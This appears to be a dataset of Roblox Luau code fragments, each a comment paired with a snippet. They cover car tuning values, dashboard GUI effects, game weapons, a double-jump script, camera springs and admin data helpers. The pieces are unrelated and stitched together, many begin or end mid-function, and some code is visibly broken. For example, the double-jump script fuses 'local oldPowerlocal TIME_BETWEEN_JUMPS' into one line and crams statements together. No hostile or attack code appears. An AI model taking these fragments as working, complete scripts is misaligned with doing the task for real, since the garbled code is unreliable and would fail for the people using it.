firstShot = false
shotCount = shotCount + 1
lastSideRecoil[(shotCount % 2) + 1] = sideRecoilAlpha
end
function markHit()
spawn(function()
if mainGUI:IsDescendantOf(game) then
hitMarker.Visible = true
local startMark = tick()
hitMarker.lastMark.Value = startMark
wait(0.5)
if hitMarker.lastMark.Value <= startMark then
hitMarker.Visible = false
end
end
end)
end
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 158 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6500 -- Use sliders to manipulate values
Tune.Redline = 7000.01 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 100 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[**
Runs the specified function in a separate thread, without yielding the current thread. This doesn't obscure errors like spawn or coroutines do, but it does share the similar small delay that spawn has. Also allows passing arguments like coroutines do.
@param [t:callback] Function The function you are executing.
@param [variant] ... The optional arguments you can pass that the function will execute with.
@returns [void]
**--]] |
function Scheduler.SpawnDelayed(Function, ...)
local Length = select("#", ...)
if Length > 0 then
local Arguments = {...}
local Connection
Connection = Heartbeat:Connect(function()
Connection:Disconnect()
Function(table.unpack(Arguments, 1, Length))
end)
else
local Connection
Connection = Heartbeat:Connect(function()
Connection:Disconnect()
Function()
end)
end
end
|
-- script.Parent.Parent.Body.Dash.Screen.G.Radio.Select.Position = UDim2.new(0, 0, 0, 60) |
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
--script.Parent.Parent.Body.Lights.Runner.Material = "SmoothPlastic"
script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = true
script.Parent.Parent.Body.Dash.DashSc.G.Select:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true)
script.Parent.Parent.Body.Dash.DashSc.G.Frame:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true)
script.Parent.Occupied.Value = false
script.Parent.Parent.Body.Dash.dash.D.Transparency = 1
script.Parent.CanStart.Value = false
script.Parent.Parent.Body.Dash.DashSc.G.Modes.SpeedStats.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Modes.Info.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Modes.MPG.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Modes.Stats.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Unit.Text = "Goodbye"
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.1
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.2
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.3
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.4
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.5
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.6
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.7
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.8
script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = .5
script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = .5
script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.3
script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.3
script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.3
script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.3
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.9
script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = 1
script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = 1
script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.7
script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.7
script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.7
script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.7
wait(0.2)
script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 1
script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = 1.8
script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = 1.8
script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 1
script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 1
script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 1
script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 1
wait(.4)
script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = false
script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false
script.Parent.Occupied.Value = false
script.Parent.Parent.Body.Dash.Spd.Interface.Enabled = false
script.Parent.Parent.Body.Dash.Tac.Interface.Enabled = false
end
end
end
end)
|
--[=[
Detects if a dictionary has a certain value.
```lua
local Array = { "Has", "this", "thing" }
print(TableKit.HasValue(Array, "Has")) -- prints true
```
@within TableKit
@param tbl table
@param value unknown
@return boolean
]=] |
function TableKit.HasValue(tbl: { [unknown]: unknown }, value: unknown): boolean
for _, v in tbl do
if v == value then
return true
end
end
return false
end
|
-- Locals -- |
local R = script.Parent.Red
local O = script.Parent.Orange
local G = script.Parent.Green
|
-- ROBLOX MOVED: expect/utils.lua |
local function subsetEquality(object: any, subset: any): boolean | nil
-- subsetEquality needs to keep track of the references
-- it has already visited to avoid infinite loops in case
-- there are circular references in the subset passed to it
local function subsetEqualityWithContext(seenReferences_: { [any]: boolean }?)
local seenReferences = seenReferences_ or {}
return function(object_: any, subset_: any): boolean | nil
if not isObjectWithKeys(subset_) then
return nil
end
return Array.every(Object.keys(subset_), function(key)
if isObjectWithKeys(subset_[key]) then
if seenReferences[subset_[key]] then
--[[
ROBLOX TODO: (ADO-1217) replace the line below
once Map/Set functionality is implemented
return equals(localObject[key], localSubset[key], {iterableEquality})
]]
return equals(object_[key], subset_[key], { iterableEquality })
end
seenReferences[subset_[key]] = true
end
local result = object_ ~= nil
and hasPropertyInObject(object_, key)
and equals(object_[key], subset_[key], {
--[[
ROBLOX TODO: (ADO-1217) uncomment the line
iterableEquality,
]]
subsetEqualityWithContext(seenReferences),
})
-- The main goal of using seenReference is to avoid
-- circular node on tree.
-- It will only happen within a parent and its child, not a
-- node and nodes next to it (same level)
-- We should keep the reference for a parent and its child
-- only
-- Thus we should delete the reference immediately so that
-- it doesn't interfere other nodes within the same level
-- on tree.
seenReferences[subset_[key]] = nil
return result
end)
end
end
return subsetEqualityWithContext()(object, subset)
end
|
--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
local Players = game:GetService("Players")
local Debris = game:GetService("Debris")
Speed = 100
Duration = 1
NozzleOffset = Vector3.new(0, 0.4, -1.1)
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Reload = Handle:WaitForChild("Reload"),
HitFade = Handle:WaitForChild("HitFade")
}
PointLight = Handle:WaitForChild("PointLight")
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
ServerControl.OnServerInvoke = (function(player: Player, Mode, Value, arg)
local Character = player.Character
local Humanoid: Humanoid = Character.Humanoid
if not player or Humanoid.Health == 0 or not Tool.Enabled then
return
end
if Mode == "Click" and Value then
Activated(arg)
end
end)
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator = Instance.new("ObjectValue")
Creator.Name = "creator"
Creator.Value = player
Creator.Parent = humanoid
Debris:AddItem(Creator, 2)
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function FindCharacterAncestor(Parent)
if Parent and Parent ~= game:GetService("Workspace") then
local humanoid = Parent:FindFirstChild("Humanoid")
if humanoid then
return Parent, humanoid
else
return FindCharacterAncestor(Parent.Parent)
end
end
return nil
end
function GetTransparentsRecursive(Parent, PartsTable)
local PartsTable = (PartsTable or {})
for i, v in pairs(Parent:GetChildren()) do
local TransparencyExists = false
pcall(function()
local Transparency = v["Transparency"]
if Transparency then
TransparencyExists = true
end
end)
if TransparencyExists then
table.insert(PartsTable, v)
end
GetTransparentsRecursive(v, PartsTable)
end
return PartsTable
end
function SelectionBoxify(Object)
local SelectionBox = Instance.new("SelectionBox")
SelectionBox.Adornee = Object
SelectionBox.Color = BrickColor.new("Toothpaste")
SelectionBox.Parent = Object
return SelectionBox
end
local function Light(Object)
local Light = PointLight:Clone()
Light.Range = (Light.Range + 2)
Light.Parent = Object
end
function FadeOutObjects(Objects, FadeIncrement)
repeat
local LastObject = nil
for i, v in pairs(Objects) do
v.Transparency = (v.Transparency + FadeIncrement)
LastObject = v
end
wait()
until LastObject.Transparency >= 1 or not LastObject
end
function Dematerialize(character, humanoid, FirstPart)
if not character or not humanoid then
return
end
humanoid.WalkSpeed = 0
local Parts = {}
for i, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored = true
table.insert(Parts, v)
elseif v:IsA("LocalScript") or v:IsA("Script") then
v:Destroy()
end
end
local SelectionBoxes = {}
local FirstSelectionBox = SelectionBoxify(FirstPart)
Light(FirstPart)
wait(0.05)
for i, v in pairs(Parts) do
if v ~= FirstPart then
table.insert(SelectionBoxes, SelectionBoxify(v))
Light(v)
end
end
local ObjectsWithTransparency = GetTransparentsRecursive(character)
FadeOutObjects(ObjectsWithTransparency, 0.1)
wait(0.5)
character:BreakJoints()
humanoid.Health = 0
Debris:AddItem(character, 2)
local FadeIncrement = 0.05
delay(0.2, function()
FadeOutObjects({FirstSelectionBox}, FadeIncrement)
if character and character.Parent then
character:Destroy()
end
end)
FadeOutObjects(SelectionBoxes, FadeIncrement)
end
function Touched(Projectile, Hit)
if not Hit or not Hit.Parent then
return
end
local character, humanoid = FindCharacterAncestor(Hit)
if character and humanoid then
local ForceFieldExists = false
for i, v in pairs(character:GetChildren()) do
if v:IsA("ForceField") then
ForceFieldExists = true
end
end
if not ForceFieldExists then
if Projectile then
local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)
local torso = humanoid.Torso
if HitFadeSound and torso then
HitFadeSound.Parent = torso
HitFadeSound:Play()
end
end
Dematerialize(character, humanoid, Hit)
end
if Projectile and Projectile.Parent then
Projectile:Destroy()
end
end
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == 0 then
return
end
end
function Activated(target)
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
InvokeClient("PlaySound", Sounds.Fire)
local HandleCFrame = Handle.CFrame
local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)
local ShotCFrame = CFrame.new(FiringPoint, target)
local LaserShotClone = BaseShot:Clone()
LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = ShotCFrame.lookVector * Speed
BodyVelocity.Parent = LaserShotClone
LaserShotClone.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
Touched(LaserShotClone, Hit)
end)
Debris:AddItem(LaserShotClone, Duration)
LaserShotClone.Parent = game:GetService("Workspace")
wait(0.6) -- FireSound length
InvokeClient("PlaySound", Sounds.Reload)
wait(0.75) -- ReloadSound length
Tool.Enabled = true
end
end
function Unequipped()
end
BaseShot = Instance.new("Part")
BaseShot.Name = "Effect"
BaseShot.BrickColor = BrickColor.new("Toothpaste")
BaseShot.Material = Enum.Material.Plastic
BaseShot.Shape = Enum.PartType.Block
BaseShot.TopSurface = Enum.SurfaceType.Smooth
BaseShot.BottomSurface = Enum.SurfaceType.Smooth
BaseShot.FormFactor = Enum.FormFactor.Custom
BaseShot.Size = Vector3.new(0.2, 0.2, 3)
BaseShot.CanCollide = false
BaseShot.Locked = true
SelectionBoxify(BaseShot)
Light(BaseShot)
BaseShotSound = Sounds.HitFade:Clone()
BaseShotSound.Parent = BaseShot
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- How long punished players have to wait before they regain
-- physics control. |
config.PunishmentDuration = 5
|
--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Mesh = Handle:WaitForChild("Mesh")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
BaseUrl = "http://www.roblox.com/asset/?id="
Grips = {
Up = CFrame.new(0, 0, -1.5, 0, 0, 1, 1, 0, 0, 0, 1, 0),
Out = CFrame.new(0, 0, -1.5, 0, -1, -0, -1, 0, -0, 0, 0, -1),
}
DamageValues = {
BaseDamage = 5,
SlashDamage = 10,
LungeDamage = 30,
}
Damage = DamageValues.BaseDamage
Sounds = {
Slash = Handle:WaitForChild("Slash"),
Lunge = Handle:WaitForChild("Lunge"),
Unsheath = Handle:WaitForChild("Unsheath"),
}
LastAttack = 0
ToolEquipped = false
Tool.Enabled = true
function SwordUp()
Tool.Grip = Grips.Up
end
function SwordOut()
Tool.Grip = Grips.Out
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.5)
Force.Parent = RootPart
wait(0.25)
SwordOut()
wait(0.25)
if Force and Force.Parent then
Force:Destroy()
end
wait(0.5)
SwordUp()
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() then
return
end
local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand"))
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= RightArm and RightGrip.Part1 ~= RightArm) or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack) < 0.2 then
Lunge()
else
Attack()
end
Damage = DamageValues.BaseDamage
LastAttack = Tick
Tool.Enabled = true
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent and Player and Player.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
ToolEquipped = false
end
SwordUp()
Handle.Touched:connect(Blow)
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-----------------------------------------ONLY EDIT THESE VALUES!!!!!-----------------------------------------
-----!Instructions!-----
--Make sure you have a part in the gun named Barrel, it is where the raycast will shoot from.--
--Just place this script into any gun and edit the values below.--
--Editting anything else will risk breaking it.--
------------------------ |
Damage = 20
SPS = 13 -- Shots Per Second, gives a limit of how fast the gun shoots.
Recoil = 5 -- [1-10] [1 = Minigun, 10 = Sniper]
WallShoot = false -- Shoots through walls.
GH = false -- [True = RB can't hurt RB.] [False = RB can hurt RB.]
BulletColor = "Cool yellow" -- Any Brickcolor will work.
Flash = true |
-- 0-9 |
for Index = 48, 57 do
table.insert(Alphabet, Index)
end
table.insert(Alphabet, 43) -- +
table.insert(Alphabet, 47) -- /
for Index, Character in ipairs(Alphabet) do
Indexes[Character] = Index
end
local Base64 = {}
local bit32_rshift = bit32.rshift
local bit32_lshift = bit32.lshift
local bit32_band = bit32.band
|
-- Todo: Migrate UserInputService.ModalEnabled to GuiService.TouchControlsEnabled when it works since that's the future replacement API |
function UserInputController:getMobileTouchGuiEnabled()
return not self.UserInputService.ModalEnabled
end
|
--// initialize manual-click right button //-- |
script.Parent.RightButton.Button.MouseButton1Click:connect(function(right)
moveRight()
end)
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
BoneModelName = "Overwrite trap" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage |
-- << MODIFY DATA IN GAME >> |
local player = game.Players.ValiantWind
local main = _G.HDAdminMain
main:GetModule("DataStore"):ChangeStat(player, "Donor", true)
return module
|
--//Controller//-- |
for _, Giver in pairs(ToolGivers:GetChildren()) do
if Giver:IsA("BasePart") or Giver:IsA("Model") then
local Trigger = Giver.ProximityPrompt
Trigger.Triggered:Connect(function(Player)
local Backpack = Player.Backpack
if not Backpack:FindFirstChild(Giver.Name) then
local Tool = Tools:FindFirstChild(Giver.Name)
if Tool then
Tool:Clone().Parent = Backpack
end
end
end)
end
end
|
-- Only change the number below! -- |
local jumpCooldown = 0.5 -- Change this to the cooldown for every jump (decimals accepted) |
-- DOUBLE JUMPING SCRIPT -- |
local UserInputService = game:GetService("UserInputService")
local localPlayer = game.Players.LocalPlayer
local character
local humanoid
local canDoubleJump = false
local hasDoubleJumped = false
local oldPowerlocal TIME_BETWEEN_JUMPS = 0.1
local DOUBLE_JUMP_POWER_MULTIPLIER = 1.5
function onJumpRequest()
if not character or not humanoid or not character:IsDescendantOf(workspace) or
humanoid:GetState() == Enum.HumanoidStateType.Dead then
return
end
if canDoubleJump and not hasDoubleJumped then
hasDoubleJumped = true
humanoid.JumpPower = oldPower * DOUBLE_JUMP_POWER_MULTIPLIER humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end
local function characterAdded(newCharacter)
character = newCharacter
humanoid = newCharacter:WaitForChild("Humanoid")
hasDoubleJumped = false
canDoubleJump = false
oldPower = humanoid.JumpPower
humanoid.StateChanged:connect(function(old, new)
if new == Enum.HumanoidStateType.Landed then
canDoubleJump = false
hasDoubleJumped = false
humanoid.JumpPower = oldPower elseif new == Enum.HumanoidStateType.Freefall then
wait(TIME_BETWEEN_JUMPS) canDoubleJump = true
end
end)
end
if localPlayer.Character then
characterAdded(localPlayer.Character)
end
localPlayer.CharacterAdded:connect(characterAdded)
UserInputService.JumpRequest:connect(onJumpRequest)
|
--[=[
@prop Stopped Signal
@within Component
Fired when an instance of a component is stopped.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
MyComponent.Stopped:Connect(function(component) end)
```
]=] |
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local Signal = require(script.Parent.Signal)
local Trove = require(script.Parent.Trove)
local IS_SERVER = RunService:IsServer()
local DEFAULT_ANCESTORS = {workspace, game:GetService("Players")}
local renderId = 0
local function NextRenderName(): string
renderId += 1
return "ComponentRender" .. tostring(renderId)
end
local function InvokeExtensionFn(component, extensionList, fnName: string)
for _,extension in ipairs(extensionList) do
local fn = extension[fnName]
if type(fn) == "function" then
fn(component)
end
end
end
local function ShouldConstruct(component, extensionList): boolean
for _,extension in ipairs(extensionList) do
local fn = extension.ShouldConstruct
if type(fn) == "function" then
local shouldConstruct = fn(component)
if not shouldConstruct then
return false
end
end
end
return true
end
|
-- Critically damped spring class for fluid motion effects |
local Spring = {} do
Spring.__index = Spring
-- Initialize to a given undamped frequency and default position
function Spring.new(freq, pos)
return setmetatable({
freq = freq,
goal = pos,
pos = pos,
vel = 0,
}, Spring)
end
-- Advance the spring simulation by `dt` seconds
function Spring:step(dt: number)
local f: number = self.freq*2*math.pi
local g: Vector3 = self.goal
local p0: Vector3 = self.pos
local v0: Vector3 = self.vel
local offset = p0 - g
local decay = math.exp(-f*dt)
local p1 = (offset*(1 + f*dt) + v0*dt)*decay + g
local v1 = (v0*(1 - f*dt) - offset*(f*f*dt))*decay
self.pos = p1
self.vel = v1
return p1
end
end
CameraUtils.Spring = Spring
|
--------------------------------------------------------------------------------
-- Piercing raycasts |
local function getCollisionPoint(origin, dir)
local originalSize = #blacklist
repeat
local hitPart, hitPoint = workspace:FindPartOnRayWithIgnoreList(
ray(origin, dir), blacklist, false, true
)
if hitPart then
if hitPart.CanCollide and not Collection:HasTag(hitPart,"IgnoreCamera") then
eraseFromEnd(blacklist, originalSize)
return hitPoint, true
end
blacklist[#blacklist + 1] = hitPart
end
until not hitPart
eraseFromEnd(blacklist, originalSize)
return origin + dir, false
end
|
-- Component
-- Stephen Leitnick
-- November 26, 2021 |
type AncestorList = { Instance }
|
-- Battery0 -- |
Battery.Interaction.Touched:Connect(function(hit)
if hit.Parent:IsA("Tool") and hit.Parent.Name == ToolRequired then
Battery.Battery0.Transparency = 0
if game.ReplicatedStorage.ItemSwitching.Value == true then
hit.Parent:Destroy()
end
Battery.Interaction.HintGUI2.Tool1:Destroy()
Battery.Parent.SoundPart.Insert:Play()
Battery.Parent.Light1.Color = Color3.fromRGB(0,255,0)
LocksLeft.Value = LocksLeft.Value - 1
Battery.Battery1Script.Disabled = false
Battery.Battery0Script.Disabled = true
end
end)
Battery.Interaction.ClickDetector.MouseClick:Connect(function(plr)
if plr.Backpack:FindFirstChild(Battery.ToolRequired.Value) then
Battery.Battery0.Transparency = 0
if game.ReplicatedStorage.ItemSwitching.Value == true then
plr.Backpack:FindFirstChild(ToolRequired):Destroy()
end
Battery.Interaction.HintGUI2.Tool1:Destroy()
Battery.Parent.SoundPart.Insert:Play()
Battery.Parent.Light1.Color = Color3.fromRGB(0,255,0)
LocksLeft.Value = LocksLeft.Value - 1
Battery.Battery1Script.Disabled = false
Battery.Battery0Script.Disabled = true
end
end)
|
--Thanks for this, Zeph. Hope you don't mind that I essentially stole this :P |
local IntWait = 0.01
local MD3 = script.Parent.Misc.TK.WPR.SS.Motor
while true do
wait()
if script.Parent.DriveSeat.Wipers.Value == true then
if MD3.CurrentAngle == 0 then
wait(IntWait)
MD3.DesiredAngle = -2.78
elseif MD3.CurrentAngle < -2.76 then
MD3.DesiredAngle = 0
end
end
end
|
--[[Susupension]] |
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
|
-- Returns whether the inputted status passes the TextFilter, otherwise also returns an error |
function UpdateProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText)
local filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId)
if filteredStatus == statusText then
playerFiring:SetAttribute("status", filteredStatus)
return { success = true }
else
return {
success = false,
error = Constants.ErrorMsgs.InappropriateStatus,
}
end
end
|
--[[
Function called upon entering the state
]] |
function PlayerDead.enter(stateMachine, playerComponent)
wait(3)
if stateMachine.can("startSpectating") then
stateMachine:startSpectating()
end
end
|
--Main-- |
P.PlayerAdded:Connect(function(Player)
Player.CharacterAdded:Connect(function(Character)
if MS:UserOwnsGamePassAsync(Player.UserId,GamepassID.Value) == true then
local NewTool = Tool.Value:Clone()
NewTool.Parent = Player.Backpack
end
end)
end)
|
--Explode into a bunch of star fragments! (Very pretty) |
print("Starlight finisher activated!")
local Character = script.Parent
local Debris = (game:FindService("Debris") or game:GetService("Debris"))
local Torso = (Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso"))
if Torso then
pcall(function()
local Sparkle = script["Sparkle_Large_Blue"]
Sparkle.Parent = Torso
Sparkle:Emit(75)
end)
pcall(function()
local ExplodeSound = script["ExplodeSound"]
ExplodeSound.Parent = Torso
ExplodeSound:Play()
end)
end
for _,v in pairs(Character:GetDescendants()) do
pcall(function()
v.Transparency = 1
end)
pcall(function()
v.Anchored = true
v.CanCollide = false
v.Parent = workspace
Debris:AddItem(v, 3)
end)
end
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player |
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
script.Parent.Parent.Body.Lights.RunL.Material = "Neon"
script.Parent.Parent.Body.Lights.RunR.Material = "Neon"
script.Parent.Parent.Body.Dash.Screen.G.Enabled = true
script.Parent.Parent.Body.Dash.Screen2.G.Enabled = true
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Parent.Body.Lights.RunL.Material = "SmoothPlastic"
script.Parent.Parent.Body.Lights.RunR.Material = "SmoothPlastic"
script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
script.Parent.Parent.Body.Dash.Screen2.G.Enabled = false
end
end
end
end)
|
-- if _TMode == "Auto" and _CGear==-1 then throt = _GThrot end |
local tq = _OutTorque
--Apply AWD Vectoring
if _Tune.Config == "AWD" then
local bias = (_Tune.TorqueVector+1)/2
if v.Name=="FL" or v.Name=="FR" then
tq = tq*(1-bias)
elseif v.Name=="RL" or v.Name=="RR" then
tq = tq*bias
end
end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = (_GBrake + _CBrake) |
-- |
if Health_Bar == true then
game.StarterGui:SetCoreGuiEnabled(1,true)
elseif Health_Bar == false then
game.StarterGui:SetCoreGuiEnabled(1,false)
end
|
-- double rd_dbl_basic(byte f1..8)
-- @f1..8 - The 8 bytes composing a little endian double |
local function rd_dbl_basic(f1, f2, f3, f4, f5, f6, f7, f8)
local sign = bit.rshift(f8, 7)
local exp = bit.lshift(bit.band(f8, 0x7F), 4) + bit.rshift(f7, 4)
local frac = bit.band(f7, 0x0F) * 2 ^ 48
local normal = 1
frac = frac + (f6 * 2 ^ 40) + (f5 * 2 ^ 32) + (f4 * 2 ^ 24) + (f3 * 2 ^ 16) + (f2 * 2 ^ 8) + f1 -- help
if exp == 0 then
if frac == 0 then
return sign * 0
else
normal = 0
exp = 1
end
elseif exp == 0x7FF then
if frac == 0 then
return sign * (1 / 0)
else
return sign * (0 / 0)
end
end
return (-1) ^ sign * 2 ^ (exp - 1023) * (normal + frac / 2 ^ 52)
end
|
-- Import services |
Support = require(script.Parent.SupportLibrary);
Support.ImportServices();
local Types = {
Part = 0,
WedgePart = 1,
CornerWedgePart = 2,
VehicleSeat = 3,
Seat = 4,
TrussPart = 5,
SpecialMesh = 6,
Texture = 7,
